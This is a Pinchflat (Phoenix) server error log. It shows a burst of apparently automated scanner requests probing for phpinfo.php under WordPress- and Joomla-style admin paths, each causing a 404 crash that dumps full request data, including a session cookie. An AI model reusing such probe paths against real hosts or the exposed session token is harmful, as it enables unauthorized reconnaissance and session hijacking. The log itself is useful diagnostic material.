"x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 264, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3568.0>, params: %{}, path_info: ["site", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/site/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7MGEbnk_FqMAAUHB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/site/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 264, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /site/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/site/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 264, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdg (truncated) 02:10:26.661 [info] GET /docs/phpinfo.php 02:10:26.662 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=182.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.663 [debug] QUERY OK source="settings" db=0.3ms idle=121.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.663 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:26.664 [error] #PID<0.3569.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 265) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /docs/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docs/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docs/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 265, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3569.0>, params: %{}, path_info: ["docs", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/docs/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7MUuhQQ_xMAAAUIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docs/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 265, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docs/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docs/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 265, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdg (truncated) 02:10:26.726 [info] GET /wp-admin/phpinfo.php 02:10:26.727 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=184.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.727 [debug] QUERY OK source="settings" db=0.2ms idle=126.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.728 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:26.728 [error] #PID<0.3570.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 266) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /wp-admin/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-admin/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-admin/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 266, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3570.0>, params: %{}, path_info: ["wp-admin", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/wp-admin/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7MkLHm17H5MAAUJB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-admin/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 266, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-admin/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-admin/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 266, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs (truncated) 02:10:26.787 [info] GET /administrator/phpinfo.php 02:10:26.788 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=186.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.789 [debug] QUERY OK source="settings" db=0.3ms idle=126.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.789 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:26.790 [error] #PID<0.3571.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 267) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /administrator/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /administrator/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/administrator/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 267, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3571.0>, params: %{}, path_info: ["administrator", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/administrator/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7MyvFLgeyNwAAUKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: 